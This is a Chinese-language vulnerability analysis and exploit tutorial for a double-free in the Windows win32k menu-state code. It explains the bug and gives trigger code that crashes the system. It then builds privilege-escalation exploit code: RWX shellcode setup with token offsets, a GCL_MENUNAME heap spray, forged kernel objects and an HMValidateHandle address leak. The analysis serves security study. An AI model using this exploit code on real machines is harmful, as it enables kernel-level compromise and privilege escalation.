函數 HMAssignmentUnlock 被用來解除先前針對指定對象的實施的帶賦值鎖的引用,并減小目標對象的鎖計數。當目標對象的鎖計數減小到 0 時,系統將調用函數 HMUnlockObjectInternal 銷毀該對象。

bToFree = head->cLockObj == 1;
--head->cLockObj;
if ( bToFree )
  head = HMUnlockObjectInternal(head);
return head;

函數 HMUnlockObject 判斷需要銷毀的目標對象

函數 HMUnlockObjectInternal 通過目標對象的句柄在全局共享信息結構體 gSharedInfo 對象的成員域 aheList 指向的會話句柄表中找到該對象的句柄表項,然后通過在句柄表項中存儲的句柄類型在函數 HMDestroyUnlockedObject 中調用索引在全局句柄類型信息數組 gahti 中的對象銷毀函數。如果當前被銷毀的目標對象類型是窗口對象,這將調用到內核函數 xxxDestroyWindow 中。

在函數 MNFreePopup 的末尾,由于已完成對各個成員域的解鎖和釋放,系統調用函數 ExFreePoolWithTag 釋放目標彈出菜單 tagPOPUPMENU 對象。

通過分析代碼可知,函數 xxxMNEndMenuState 在調用函數 MNFreePopup 釋放菜單信息結構體的各個成員域之后,會將當前菜單狀態對象的成員域 pmnsPrev 存儲的前菜單狀態對象指針賦值給當前線程信息結構體對象的成員域 pMenuState 指針,而通常情況下 pmnsPrev 的值為 0

kd> ub
win32k!xxxMNEndMenuState+0x50:
93a96022 8b4620          mov     eax,dword ptr [esi+20h]
93a96025 898704010000    mov     dword ptr [edi+104h],eax
kd> r eax
eax=00000000

函數 xxxMNEndMenuState 重置線程信息結構體 pMenuState 成員域

然而在菜單彈出期間,系統在各個追蹤彈出菜單的函數或系統服務中都是通過線程信息對象的成員域 pMenuState 指針來獲取菜單狀態的,如果該成員域被賦值為其他值,就將導致觸發漏洞的途徑中某個節點直接失敗而返回,造成漏洞利用失敗。因此想要重新使線程執行流觸達 xxxMNEndMenuState 函數中釋放當前 tagPOPUPMENU 對象的位置以實現對目標漏洞的觸發,則必須在系統重置線程信息對象的成員域 pMenuState 之前的時機進行

在函數釋放成員域 pGlobalPopupMenu 指向的根彈出菜單對象和重置線程信息對象的成員域 pMenuState 之間,只有兩個函數調用:

UnlockMFMWFPWindow(&menuState->uButtonDownHitArea);
UnlockMFMWFPWindow(&menuState->uDraggingHitArea);

菜單狀態結構體的成員域 uButtonDownHitAreauDraggingHitArea 存儲當前鼠標點擊坐標位于的窗口對象指針和鼠標拖拽坐標位于的窗口對象指針。函數通過調用 UnlockMFMWFPWindow 函數解除對這兩個成員域的賦值鎖。

函數 UnlockMFMWFPWindow 在對目標參數進行簡單校驗之后調用 HMAssignmentUnlock 函數執行具體的解鎖操作。

函數 xxxMNEndMenuState 的簡要執行流

聚焦 uButtonDownHitArea 成員域,該成員域存儲當前鼠標按下的坐標區域所屬的窗口對象地址,當鼠標按鍵抬起時系統解鎖并置零該成員域。因此,需要在系統處理鼠標按下消息期間,用戶進程發起菜單終止的操作,以使執行流進入函數 xxxMNEndMenuState 并執行到解鎖成員域 uButtonDownHitArea 的位置時,該成員域中存儲合法的窗口對象的地址。

系統在銷毀該窗口對象期間,會同時銷毀與該窗口對象關聯的陰影窗口對象。陰影窗口對象不帶有專門的窗口消息處理函數,因此可以在用戶進程中將窗口對象的消息處理函數成員域篡改為由用戶進程自定義的消息處理函數,在自定義函數中,再次觸發菜單終止的任務,致使漏洞成功觸發。

0x3 觸發

接下來通過構造驗證代碼在系統調用 xxxMNEndMenuState 函數釋放根彈出菜單對象之后并在重置當前線程信息對象的成員域 pMenuState 之前,使線程的執行流再次進入 xxxMNEndMenuState 函數調用,致使觸發對目標成員域 pGlobalPopupMenu 指向對象的重復釋放。

在用戶進程中首先為驗證代碼創建單獨的線程,利用代碼的主體任務都在新線程的上下文中執行。在原有的主線程中監聽全局變量 bDoneExploit 是否被賦值以等待下一步操作。


驗證代碼主函數

驗證代碼首先通過調用 CreatePopupMenu 等函數創建兩個非模態的可彈出的菜單對象。由于模態的菜單將導致線程在內核中進入函數 xxxMNLoop 的循環等待狀態,導致無法在同一線程中執行其他操作,對漏洞觸發造成難度,因此我們選擇非模態的菜單類型。這里的可彈出的菜單對象不是前面提到的 tagPOPUPMENU 類型的對象,而是帶有 MFISPOPUP 標志位狀態的 tagMENU 對象。結構體 tagMENU 是菜單對象的實體,而 tagPOPUPMENU 是用來描述菜單對象實體的彈出狀態的對象,在菜單對象實際彈出時創建、菜單對象結束彈出狀態時銷毀,需要注意兩者的區別。

接下來通過 AppendMenuA 為兩個菜單添加菜單項,并使第二個成為第一個的子菜單。

LPCSTR szMenuItem = "item";
MENUINFO mi = { 0 };
mi.cbSize  = sizeof(mi);
mi.fMask   = MIM_STYLE;
mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;

hpopupMenu[0] = CreatePopupMenu();
hpopupMenu[1] = CreatePopupMenu();
SetMenuInfo(hpopupMenu[0], &mi);
SetMenuInfo(hpopupMenu[1], &mi);
AppendMenuA(hpopupMenu[0], MF_BYPOSITION | MF_POPUP, (UINT_PTR)hpopupMenu[1], szMenuItem);
AppendMenuA(hpopupMenu[1], MF_BYPOSITION | MF_POPUP, 0, szMenuItem);

創建并關聯兩個菜單對象的驗證代碼

接下來創建一個普通的窗口對象 hWindowMain 以在后續菜單彈出時作為彈出菜單的擁有者窗口對象。如果編譯時選擇 GUI 界面程序,則獲取默認的窗口對象句柄即可,這一步就不需要創建額外的窗口對象了。

WNDCLASSEXW wndClass = { 0 };
wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXW);
wndClass.lpfnWndProc    = DefWindowProcW;
wndClass.cbWndExtra     = 0;
wndClass.hInstance      = GetModuleHandleA(NULL);
wndClass.lpszMenuName   = NULL;
wndClass.lpszClassName  = L"WNDCLASSMAIN";
RegisterClassExW(&wndClass);
hWindowMain = CreateWindowExW(WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
    L"WNDCLASSMAIN",
    NULL,
    WS_VISIBLE,
    0,
    0,
    1,
    1,
    NULL,
    NULL,
    GetModuleHandleA(NULL),
    NULL);

創建用來擁有彈出菜單的主窗口對象的驗證代碼

通過函數 SetWindowsHookExW 創建類型為 WH_CALLWNDPROC 關聯當前線程的掛鉤程序,并通過 SetWinEventHook 創建范圍包含 EVENT_SYSTEM_MENUPOPUPSTART 的關聯當前進程和線程的事件通知消息處理程序。前面已經提到,設置 WH_CALLWNDPROC 類型的掛鉤程序會在每次線程將消息發送給窗口對象之前調用。事件通知 EVENT_SYSTEM_MENUPOPUPSTART 表示目標彈出菜單已被顯示在屏幕上。

SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,
    GetModuleHandleA(NULL),
    GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
    GetModuleHandleA(NULL),
    xxWindowEventProc,
    GetCurrentProcessId(),
    GetCurrentThreadId(),
    0);

創建消息掛鉤和事件通知程序的驗證代碼

驗證代碼調用函數 TrackPopupMenuEx 使第一個菜單作為根菜單在創建的窗口中彈出。

TrackPopupMenuEx(hpopupMenu[0], 0, 0, 0, hWindowMain, NULL);

調用函數 TrackPopupMenuEx 的驗證代碼

接著通過調用 GetMessageDispatchMessage 等函數在當前線程中實現消息循環。

MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{
    TranslateMessage(&msg);
    DispatchMessageW(&msg);
}

實現消息循環的驗證代碼

在用戶進程中驗證代碼調用函數 TrackPopupMenuEx 使執行流在內核中進入 xxxTrackPopupMenuEx 函數。

驗證代碼主函數執行邏輯


自定義掛鉤處理函數

在函數 TrackPopupMenuEx 執行期間,系統調用函數 xxxCreateWindowEx 創建新的菜單類型的窗口對象。就像前面的章節提到的那樣,創建窗口對象成功時,函數向該窗口對象發送 WM_NCCREATE 消息。在函數 xxxSendMessageTimeout 調用對象指定的消息處理程序之前,還會調用 xxxCallHook 函數用來調用先前由用戶進程設定的 WH_CALLWNDPROC 類型的掛鉤處理程序。這時執行流會回到我們先前在驗證代碼中定義的掛鉤處理函數中。

在自定義掛鉤處理函數 xxWindowHookProc 中,我們根據參數 lParam 指向 tagCWPSTRUCT 對象的成員域 message 判斷當前處理的消息是否為 WM_NCCREATE 消息,不是的情況則直接忽略。接下來根據窗口句柄獲取窗口對象的類名稱,當類名稱為 #32768 時,表示這是創建的菜單窗口對象,因此將該句柄記錄下來以備后續引用。

LRESULT CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
    tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
    static HWND hwndMenuHit = 0;
    if (cwp->message != WM_NCCREATE)
    {
        return CallNextHookEx(0, code, wParam, lParam);
    }
    WCHAR szTemp[0x20] = { 0 };
    GetClassNameW(cwp->hwnd, szTemp, 0x14);
    if (!wcscmp(szTemp, L"#32768"))
    {
        hwndMenuHit = cwp->hwnd;
    }
    return CallNextHookEx(0, code, wParam, lParam);
}

在掛鉤處理程序中記錄 #32768 窗口的句柄

在目標菜單窗口對象創建完成時,系統在內核中設置窗口對象的位置坐標并使其顯示在屏幕上。在這期間,系統為該窗口對象創建關聯的類型為 SysShadow 的陰影窗口對象。同樣地,創建陰影窗口對象并發送 WM_NCCREATE 消息時,系統也會調用 xxxCallHook 函數來分發調用掛鉤程序。

前面章節的“終止菜單”部分的分析已知,在函數 xxxEndMenuLoop 調用期間,系統對每個彈出菜單窗口對象都調用了兩次 xxxRemoveShadow 函數。這將導致在到達漏洞觸發位置之前陰影窗口被提前取消關聯和銷毀。因此我們要想辦法為成員域 uButtonDownHitArea 存儲的目標菜單窗口對象創建并關聯至少 3 個陰影窗口對象。

回到驗證代碼的自定義掛鉤處理函數中,在判斷窗口類名稱的位置增加判斷是否為 SysShadow 的情況。如果命中這種情況,我們通過調用函數 SetWindowPos 對先前保存句柄指向的類名稱為 #32768 的窗口對象依次設置 SWP_HIDEWINDOWSWP_SHOWWINDOW 狀態標志,使窗口先隱藏后顯示,再次觸發內核中添加陰影窗口關聯的邏輯以創建新的陰影窗口對象。

在執行流進入自定義掛鉤處理函數的 SysShadow 處理邏輯時,在內核中正處于創建陰影窗口的 xxxCreateWindowEx 執行期間,此時創建的陰影窗口對象和原菜單窗口對象還沒有關聯起來,它們的關聯關系尚未被插入 gpShadowFirst 鏈表中。此時對目標菜單對象調用 SetWindowPos 以設置 SWP_SHOWWINDOW 狀態標志,將導致系統對目標菜單窗口創建并關聯多個陰影窗口對象,后創建的陰影窗口對象將被先插入 gpShadowFirst 鏈表中,從而位于鏈表中更靠后的位置。

多陰影窗口關聯的插入鏈表和位置順序邏輯

在自定義掛鉤處理函數的 SysShadow 處理邏輯中,對進入次數進行計數,對前 2 次進入的情況調用函數 SetWindowPos 以觸發創建新的陰影窗口關聯的邏輯;到第 3 次進入的情況時,我們通過調用函數 SetWindowLong 將目標陰影窗口對象的消息處理函數篡改為自定義的陰影窗口消息處理函數。

if (!wcscmp(szTemp, L"SysShadow") && hwndMenuHit != NULL)
{
    if (++iShadowCount == 3)
    {
        SetWindowLongW(cwp->hwnd, GWL_WNDPROC, (LONG)xxShadowWindowProc);
    }
    else
    {
        SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_HIDEWINDOW);
        SetWindowPos(hwndMenuHit, NULL, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE | SWP_NOZORDER | SWP_SHOWWINDOW);
    }
}

對目標菜單窗口對象創建多陰影窗口關聯的驗證代碼

一切處理妥當后,需設置相關的全局標志以阻止執行流重復進入該自定義掛鉤處理函數致使上面的邏輯代碼被多次執行。

創建多個陰影窗口對象的執行邏輯


自定義事件通知處理函數

在內核函數 xxxTrackPopupMenuEx 中處理完成對根彈出菜單窗口對象的創建時,系統調用 xxxWindowEvent 函數以發送代表“菜單彈出開始”的 EVENT_SYSTEM_MENUPOPUPSTART 事件通知。這將進入我們先前設置的自定義事件通知處理函數 xxWindowEventProc 中。每當進入該事件通知處理程序時,代表當前新的彈出菜單已顯示在屏幕中。

在驗證代碼的自定義事件通知處理函數 xxWindowEventProc 中進行計數,當第 1 次進入函數時,表示根彈出菜單已在屏幕中顯示,因此通過調用函數 SendMessage 向參數句柄 hwnd 指向的菜單窗口對象發送 WM_LBUTTONDOWN 鼠標左鍵按下的消息,并在參數 lParam 傳入按下的相對坐標。在 32 位系統中,參數 lParam 是一個 DWORD 類型的數值,其高低 16 位分別代表橫坐標和縱坐標的相對位置,傳入的數值需要確保相對坐標位于先前創建菜單時設定的子菜單項的位置。參數 wParam 設定用戶按下的是左鍵還是右鍵,設置為 1 表示 MK_LBUTTON 左鍵。

在內核中消息處理函數 xxxMenuWindowProc 接收并處理該消息,這將導致最終調用到函數 xxxMNOpenHierarchy 以創建新彈出的子菜單的相關對象。類似地,在處理完成新的子菜單在屏幕中的顯示時,函數 xxxMNOpenHierarchy 調用函數 xxxWindowEvent 發送 EVENT_SYSTEM_MENUPOPUPSTART 事件通知。這使得執行流再次進入自定義事件通知處理函數 xxWindowEventProc 中。

當第 2 次進入函數 xxWindowEventProc 時,表示彈出的子菜單已在屏幕中顯示。此時驗證代碼調用函數 SendMessage 向目標子菜單窗口對象發送 MN_ENDMENU 菜單終止的消息,這將導致執行流最終進入內核函數 xxxMNEndMenuState 中。

VOID CALLBACK
xxWindowEventProc(
    HWINEVENTHOOK hWinEventHook,
    DWORD         event,
    HWND          hwnd,
    LONG          idObject,
    LONG          idChild,
    DWORD         idEventThread,
    DWORD         dwmsEventTime
)
{
    if (++iMenuCreated >= 2)
    {
        SendMessageW(hwnd, MN_ENDMENU, 0, 0);
    }
    else
    {
        SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002); // (2,2)
    }
}

事件通知處理函數發送消息的驗證代碼

執行流進入函數 xxxMNEndMenuState 時,線程關聯的菜單狀態對象成員域 uButtonDownHitArea 存儲最后處理鼠標按下消息時按下坐標位于的窗口對象(即在先前被創建并關聯了 3 個陰影窗口對象的菜單窗口對象)的指針。位于 gShadowFirst 鏈表中與該菜單窗口對象關聯的最開始的兩個陰影窗口已在函數 xxxEndMenuLoop 執行期間被解除關聯并銷毀,此時鏈表中仍存在與該菜單窗口對象關聯的最后 1 個陰影窗口關聯節點,該陰影窗口對象就是當時被篡改了消息處理函數的陰影窗口對象。

函數在 MNFreePopup 中釋放當前根彈出菜單對象之后調用函數 UnlockMFMWFPWindow 以解鎖成員域 uButtonDownHitArea 存儲的目標菜單窗口對象時,不出意外的話,此時該菜單窗口對象的鎖計數歸零,因此窗口管理器將調用銷毀函數 xxxDestroyWindow 以執行銷毀任務。這將解除關聯并銷毀第 3 個關聯的陰影窗口對象,并使執行流進入先前篡改的自定義消息處理函數中。


陰影窗口自定義消息處理函數

在驗證代碼的陰影窗口自定義消息處理函數 xxShadowWindowProc 中,判斷消息參數是否為 WM_NCDESTROY 類型。如果是的話,則在此直接調用 NtUserMNDragLeave 系統服務。

ULONG_PTR
xxSyscall(UINT num, ULONG_PTR param1, ULONG_PTR param2)
{
    __asm { mov eax, num };
    __asm { int 2eh };
}

CONST UINT num_NtUserMNDragLeave = 0x11EC;

LRESULT WINAPI
xxShadowWindowProc(
    _In_ HWND   hwnd,
    _In_ UINT   msg,
    _In_ WPARAM wParam,
    _In_ LPARAM lParam
)
{
    if (msg == WM_NCDESTROY)
    {
        xxSyscall(num_NtUserMNDragLeave, 0, 0);
    }
    return DefWindowProcW(hwnd, msg, wParam, lParam);
}

陰影窗口自定義消息處理函數的驗證代碼

函數 NtUserMNDragLeave 原本用于結束菜單的拖拽狀態。在該函數執行期間,系統在進行一系列的判斷和調用之后,最終在函數 xxxUnlockMenuState 中調用 xxxMNEndMenuState 函數:

  bZeroLock = menuState->dwLockCount-- == 1;
  if ( bZeroLock && ExitMenuLoop(menuState, menuState->pGlobalPopupMenu) )
  {
    xxxMNEndMenuState(1);
    result = 1;
  }

函數 xxxUnlockMenuState 調用 xxxMNEndMenuState 函數

這導致重新觸達漏洞所在的位置并致使菜單狀態對象的成員域 pGlobalPopupMenu 指向的根彈出菜單對象被重復釋放,導致系統 BSOD 的發生。

根彈出菜單對象重復釋放導致系統 BSOD 的發生

0x4 利用

前面的章節對漏洞原理進行分析并構造了簡單的漏洞觸發驗證代碼。在本章節中將利用該漏洞的觸發,通過循序漸進的方式構造利用代碼,最終實現利用和提權的目的。


初始化利用數據

在利用代碼中自定義結構體 SHELLCODE 以存儲與利用相關的數據:

typedef struct _SHELLCODE {
    DWORD reserved;
    DWORD pid;
    DWORD off_CLS_lpszMenuName;
    DWORD off_THREADINFO_ppi;
    DWORD off_EPROCESS_ActiveLink;
    DWORD off_EPROCESS_Token;
    PVOID tagCLS[0x100];
    BYTE  pfnWindProc[];
} SHELLCODE, *PSHELLCODE;

自定義的 SHELLCODE 結構體定義

在利用代碼的早期階段在用戶進程中分配完整內存頁的 RWX 內存塊,并初始化相關成員域,將 ShellCode 函數代碼拷貝到從成員域 pfnWindProc 起始的內存地址。

pvShellCode = (PSHELLCODE)VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pvShellCode == NULL)
{
    return 0;
}
ZeroMemory(pvShellCode, 0x1000);
pvShellCode->pid = GetCurrentProcessId();
pvShellCode->off_CLS_lpszMenuName    = 0x050;
pvShellCode->off_THREADINFO_ppi      = 0x0b8;
pvShellCode->off_EPROCESS_ActiveLink = 0x0b8;
pvShellCode->off_EPROCESS_Token      = 0x0f8;
CopyMemory(pvShellCode->pfnWindProc, xxPayloadWindProc, sizeof(xxPayloadWindProc));

初始化分配的 SHELLCODE 結構體內存區域

成員域 pfnWindProc 起始的內存區域將最終作為實際 ShellCode 函數代碼在內核上下文執行。


偽造根彈出菜單對象

在用戶進程驗證代碼的陰影窗口自定義消息處理函數 xxShadowWindowProc 執行期間,需要通過相關函數在內核中分配與 tagPOPUPMENU 結構體相同大小的緩沖區以占位剛釋放的內存空隙,偽造新的彈出菜單對象,使系統誤認為彈出菜單對象仍舊正常存在于內核中。

這在利用代碼中將通過調用函數 SetClassLong 對大量的窗口對象設置 MENUNAME 字段的方式實現。這些窗口對象需要在首次調用函數 TrackPopupMenuEx 之前完成創建和初始化。

回到驗證代碼調用函數 TrackPopupMenuEx 之前創建菜單對象的位置,在此時機增加調用函數 CreateWindowEx 以創建大量窗口對象,并為每個窗口對象注冊單獨的窗口類。

for (INT i = 0; i < 0x100; ++i)
{
    WNDCLASSEXW Class = { 0 };
    WCHAR szTemp[20] = { 0 };
    HWND hwnd = NULL;
    wsprintfW(szTemp, L"%x-%d", rand(), i);
    Class.cbSize        = sizeof(WNDCLASSEXW);
    Class.lpfnWndProc   = DefWindowProcW;
    Class.cbWndExtra    = 0;
    Class.hInstance     = GetModuleHandleA(NULL);
    Class.lpszMenuName  = NULL;
    Class.lpszClassName = szTemp;
    RegisterClassExW(&Class);
    hwnd = CreateWindowExW(0, szTemp, NULL, WS_OVERLAPPED,
        0,
        0,
        0,
        0,
        NULL,
        NULL,
        GetModuleHandleA(NULL),
        NULL);
    hWindowList[iWindowCount++] = hwnd;
}

創建大量普通窗口對象的利用代碼

接下來在驗證代碼的自定義陰影窗口消息處理函數 xxShadowWindowProc 中調用系統服務 NtUserMNDragLeave 之前,增加對前面批量創建的普通窗口對象設置 GCL_MENUNAME 的調用:

DWORD dwPopupFake[0xD] = { 0 };
dwPopupFake[0x0] = 0x00098208;  //->flags
dwPopupFake[0x1] = 0xDDDDDDDD;  //->spwndNotify
dwPopupFake[0x2] = 0xDDDDDDDD;  //->spwndPopupMenu
dwPopupFake[0x3] = 0xDDDDDDDD;  //->spwndNextPopup
dwPopupFake[0x4] = 0xDDDDDDDD;  //->spwndPrevPopup
dwPopupFake[0x5] = 0xDDDDDDDD;  //->spmenu
dwPopupFake[0x6] = 0xDDDDDDDD;  //->spmenuAlternate
dwPopupFake[0x7] = 0xDDDDDDDD;  //->spwndActivePopup
dwPopupFake[0x8] = 0xDDDDDDDD;  //->ppopupmenuRoot
dwPopupFake[0x9] = 0xDDDDDDDD;  //->ppmDelayedFree
dwPopupFake[0xA] = 0xDDDDDDDD;  //->posSelectedItem
dwPopupFake[0xB] = 0xDDDDDDDD;  //->posDropped
dwPopupFake[0xC] = 0;
for (UINT i = 0; i < iWindowCount; ++i)
{
    SetClassLongW(hWindowList[i], GCL_MENUNAME, (LONG)dwPopupFake);
}

為普通窗口對象設置 MENUNAME 字段的利用代碼

由于 MENUNAME 字段屬于 WCHAR 字符串格式,因此在初始化緩沖區時需要將所有數值設置為不包含連續 2 字節為 0 的情況。通過調用函數 SetClassLongW 為目標窗口對象設置 MENUNAME 字段時,系統最終在內核中為窗口對象所屬的窗口類 tagCLS 對象的成員域 lpszMenuName 分配并設置 UNICODE 字符串緩沖區。

由于成員域 lpszMenuName 指向的緩沖區和彈出菜單 tagPOPUPMENU 對象的緩沖區同樣是進程配額的內存塊,因此兩者所占用的額外內存大小相同,只需要將在利用代碼中為每個窗口對象設置的 MENUNAME 緩沖區長度設置為與 tagPOPUPMENU 大小相同的長度,那么通常情況下在內核中總有一個窗口對象的 MENUNAME 緩沖區被分配在先前釋放的根彈出菜單對象的內存區域中,成為偽造的根彈出菜單 tagPOPUPMENU 對象。

通過設置 GCL_MENUNAME 占用原根彈出菜單對象內存區域

為使在稍后位置調用的系統服務 NtUserMNDragLeave 能依據偽造的根彈出菜單對象再次進入函數 xxxMNEndMenuState 調用,需要將偽造對象的成員域 flags 進行稍微設置,將關鍵標志位置位,其余標志位置零。

kd> dt win32k!tagPOPUPMENU 0141fb44 
   [...]
   +0x000 fIsTrackPopup    : 0y1
   [...]
   +0x000 fFirstClick      : 0y1
   [...]
   +0x000 fDestroyed       : 0y1
   +0x000 fDelayedFree     : 0y1
   [...]
   +0x000 fInCancel        : 0y1
   [...]
   +0x004 spwndNotify      : 0xdddddddd tagWND
   +0x008 spwndPopupMenu   : 0xdddddddd tagWND
   +0x00c spwndNextPopup   : 0xdddddddd tagWND
   +0x010 spwndPrevPopup   : 0xdddddddd tagWND
   +0x014 spmenu           : 0xdddddddd tagMENU
   +0x018 spmenuAlternate  : 0xdddddddd tagMENU
   +0x01c spwndActivePopup : 0xdddddddd tagWND
   +0x020 ppopupmenuRoot   : 0xdddddddd tagPOPUPMENU
   +0x024 ppmDelayedFree   : 0xdddddddd tagPOPUPMENU
   +0x028 posSelectedItem  : 0xdddddddd
   +0x02c posDropped       : 0xdddddddd

偽造的 tagPOPUPMENU 對象的成員域數據


偽造彈出菜單對象成員域

前面偽造的 tagPOPUPMENU 對象重新占用了先前釋放的根彈出菜單對象的內存區域,并且其各個成員域在利用代碼中分配時可以實施完全控制。但前面并未對其各個指針成員域進行有效性設置,這樣一來在函數 xxxMNEndMenuState 中解鎖各個指針成員域指向的對象時仍舊會觸發缺頁異常等錯誤。接下來通過對指針成員域進行設置,使其指向有效的內存空間,以使內核邏輯能夠正常向后執行。

回到驗證代碼中創建作為彈出菜單擁有者的窗口對象 hWindowMain 的位置,增加創建新的用作利用載體的普通窗口對象 hWindowHunt 的代碼:

WNDCLASSEXW wndClass = { 0 };
wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXW);
wndClass.lpfnWndProc    = DefWindowProcW;
wndClass.cbWndExtra     = 0x200;
wndClass.hInstance      = GetModuleHandleA(NULL);
wndClass.lpszMenuName   = NULL;
wndClass.lpszClassName  = L"WNDCLASSHUNT";
RegisterClassExW(&wndClass);
hWindowHunt = CreateWindowExW(0x00,
    L"WNDCLASSHUNT",
    NULL,
    WS_OVERLAPPED,
    0,
    0,
    1,
    1,
    NULL,
    NULL,
    GetModuleHandleA(NULL),
    NULL);

創建用來作為利用載體的窗口對象的利用代碼

載體窗口對象 hWindowHunt 具有 0x200 字節大小的擴展區域,擴展區域緊隨基礎的 tagWND 對象其后,在利用代碼中將用來偽造各種相關的內核用戶對象,以使系統重新執行 xxxMNEndMenuState 期間,執行流能正常穩定地執行。

接下來通過 HMValidateHandle 內核對象地址泄露技術獲取載體窗口對象的 tagWND 內核地址。窗口對象 tagWND 的頭部結構是一個 THRDESKHEAD 成員結構體對象,完整的結構體定義如下:

kd> dt win32k!_THRDESKHEAD
   +0x000 h                : Ptr32 Void
   +0x004 cLockObj         : Uint4B
   +0x008 pti              : Ptr32 tagTHREADINFO
   +0x00c rpdesk           : Ptr32 tagDESKTOP
   +0x010 pSelf            : Ptr32 UChar

結構體 THRDESKHEAD 的定義

其中成員域 pSelf 指向所屬用戶對象的內核首地址。因此通過該指針加上 tagWND 結構體的大小定位到當前窗口對象的擴展區域的內核地址。

根據代碼分析,函數 xxxMNEndMenuState 在執行的初始階段調用函數 MNEndMenuStateNotify 用來在通知窗口對象所屬線程和當前菜單狀態所屬線程不同的情況下,清理通知線程的線程信息對象的成員域 pMenuState 數值。然而不幸的是,由于偽造的 tagPOPUPMENU 對象已覆蓋原有數據,因此需要繼續偽造包括通知窗口對象在內的其他內核用戶對象。

PTHRDESKHEAD head = (PTHRDESKHEAD)xxHMValidateHandle(hWindowHunt);
PBYTE pbExtra = head->deskhead.pSelf + 0xb0 + 4;
pvHeadFake = pbExtra + 0x44;
for (UINT x = 0; x < 0x7F; x++) // 0x04~0x1FC
{
    SetWindowLongW(hWindowHunt, sizeof(DWORD) * (x + 1), (LONG)pbExtra);
}
PVOID pti = head->thread.pti;
SetWindowLongW(hWindowHunt, 0x50, (LONG)pti); // pti

填充載體窗口對象擴展區域的利用代碼

將載體窗口對象的擴展區域預留 4 字節,將剩余 0x1FC 字節的內存區域全部填充為擴展區域 +0x04 字節偏移的地址,填充的數值將作為各種偽造對象的句柄、引用計數或對象指針成員域。

接下來將剩余內存區域 +0x44 字節偏移的內存數據作為偽造的內核用戶對象頭部結構,其地址被作為偽造的根彈出菜單 tagPOPUPMENU 對象的各個指針成員域的值。在利用代碼的自定義陰影窗口消息處理函數 xxxShadowWindowProc 中替換原來的初始化 MENUNAME 字段緩沖區的利用代碼:

DWORD dwPopupFake[0xD] = { 0 };
dwPopupFake[0x0] = (DWORD)0x00098208;  //->flags
dwPopupFake[0x1] = (DWORD)pvHeadFake;  //->spwndNotify
dwPopupFake[0x2] = (DWORD)pvHeadFake;  //->spwndPopupMenu
dwPopupFake[0x3] = (DWORD)pvHeadFake;  //->spwndNextPopup
dwPopupFake[0x4] = (DWORD)pvHeadFake;  //->spwndPrevPopup
dwPopupFake[0x5] = (DWORD)pvHeadFake;  //->spmenu
dwPopupFake[0x6] = (DWORD)pvHeadFake;  //->spmenuAlternate
dwPopupFake[0x7] = (DWORD)pvHeadFake;  //->spwndActivePopup
dwPopupFake[0x8] = (DWORD)0xFFFFFFFF;  //->ppopupmenuRoot
dwPopupFake[0x9] = (DWORD)pvHeadFake;  //->ppmDelayedFree
dwPopupFake[0xA] = (DWORD)0xFFFFFFFF;  //->posSelectedItem
dwPopupFake[0xB] = (DWORD)pvHeadFake;  //->posDropped
dwPopupFake[0xC] = (DWORD)0;

更新的初始化 MENUNAME 緩沖區的利用代碼

其中例外的成員域 ppopupmenuRootposSelectedItem 被填充為 0xFFFFFFFF 以防止執行流誤入歧途。由于偽造對象頭部 pvHeadFake 指向的內存區域對應的成員域 cLockObj 具有極大的數值,因此在內核中各個針對該偽造對象的解鎖和解引用函數調用都不足以使系統為其調用銷毀對象的函數,因此異常將不會發生。

在函數 xxxMNEndMenuState 第二次執行期間,在原位置重新分配的偽造根彈出菜單 tagPOPUPMENU 對象在函數 MNFreePopup 中釋放。


內核地址泄露技術

本分析中使用了 HMValidateHandle 內核地址泄露技術。在 user32 模塊中,在操作一些用戶對象時,為了提升效率以便于直接在用戶模式獲取目標用戶對象的數據,系統提供了未導出的函數 HMValidateHandle 以供模塊內部使用。

這個函數接收用戶句柄和對象類型作為參數,在內部對參數進行驗證,驗證通過時則返回目標對象在當前進程桌面堆中映射的地址。該函數并未導出,但在一些導出函數中調用,例如 IsMenu 函數。該函數驗證通過參數傳入的句柄是否為菜單句柄。函數通過將句柄值和菜單類型枚舉 2(TYPE_MENU) 傳入函數 HMValidateHandle 調用,并判斷函數返回值是否不為空,并返回判斷的結果。

.text:76D76F0E 8B FF          mov     edi, edi
.text:76D76F10 55             push    ebp
.text:76D76F11 8B EC          mov     ebp, esp
.text:76D76F13 8B 4D 08       mov     ecx, [ebp+hMenu]
.text:76D76F16 B2 02          mov     dl, 2
.text:76D76F18 E8 73 5B FE FF call    @HMValidateHandle@8 ; HMValidateHandle(x,x)
.text:76D76F1D F7 D8          neg     eax
.text:76D76F1F 1B C0          sbb     eax, eax
.text:76D76F21 F7 D8          neg     eax
.text:76D76F23 5D             pop     ebp
.text:76D76F24 C2 04 00       retn    4

函數 IsMenu 的指令片段

因此我們可以通過硬編碼匹配的方式,從 user32 模塊的導出函數 IsMenu 中查找并計算函數 HMValidateHandle 的地址。

static PVOID(__fastcall *pfnHMValidateHandle)(HANDLE, BYTE) = NULL;
VOID
xxGetHMValidateHandle(VOID)
{
    HMODULE hModule = LoadLibraryA("USER32.DLL");
    PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
    PBYTE Address = NULL;
    for (INT i = 0; i < 0x30; i++)
    {
        if (*(WORD *)(i + pfnIsMenu) != 0x02B2)
        {
            continue;
        }
        i += 2;
        if (*(BYTE *)(i + pfnIsMenu) != 0xE8)
        {
            continue;
        }
        Address = *(DWORD *)(i + pfnIsMenu + 1) + pfnIsMenu;
        Address = Address + i + 5;
        pfnHMValidateHandle = (PVOID(__fastcall *)(HANDLE, BYTE))Address;
        break;
    }
}

查找并計算 HMValidateHandle 函數地址的利用代碼

